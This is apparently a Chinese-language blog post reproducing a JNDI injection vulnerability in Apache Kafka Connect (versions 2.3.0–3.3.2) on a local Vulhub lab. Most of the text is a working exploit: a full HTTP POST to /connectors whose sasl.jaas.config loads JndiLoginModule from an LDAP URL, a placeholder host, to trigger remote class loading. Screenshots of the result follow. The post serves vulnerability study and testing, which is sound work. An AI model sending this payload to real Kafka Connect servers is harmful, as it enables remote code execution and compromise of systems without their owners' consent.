Babing
Published on 2024-08-30 / 2 Visits
0
0

A22-1Apache-KafkaConnect-JNDI注入

A22-1Apache-Kafka Connect-JNDI注入

漏洞描述:

Kafka Connect是一种用于在Apache Kafka和其他系统之间可扩展且可靠地流式传输数据的工具。它使快速定义将大量数据移入和移出Kafka的连接器变得简单。Kafka Connect可以摄取整个数据库或从所有应用程序服务器收集指标到Kafka主题中,使数据可用于低延迟的流处理。

影响版本:

2.3.0 <=Apache Kafka <=3.3.2

网站图片:

image-20240620191402142

网络测绘:

本地环境搭建,Vulhub执行如下命令启动一个Apache Druid 25.0.0服务,其内部使用的kafka-clients版本是3.3.1:

docker-compose up -d

漏洞复现

burp抓包查看是否存在相关依赖

http://x.x.x.x:8083/connector-plugins

payload:

POST /connectors HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Content-Length: 821

{

    "name": "xxx",
    "config": {
        "connector.class": "io.debezium.connector.mysql.MySqlConnector",
        "database.hostname": "127.0.0.1",
        "database.port": "3306",
        "database.user": "root",
        "database.password": "xxxx",
        "database.server.id": "xxxx",
        "database.server.name": "xxxx",
        "database.history.kafka.bootstrap.servers": "127.0.0.1:9092",
        "database.history.kafka.topic": "xxxx",     "database.history.producer.security.protocol": "SASL_SSL",
        "database.history.producer.sasl.mechanism": "PLAIN",
        "database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://xxxx\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
    }
}
payload:

效果图:

image-20240619173028584

image-20240619173047632


Comment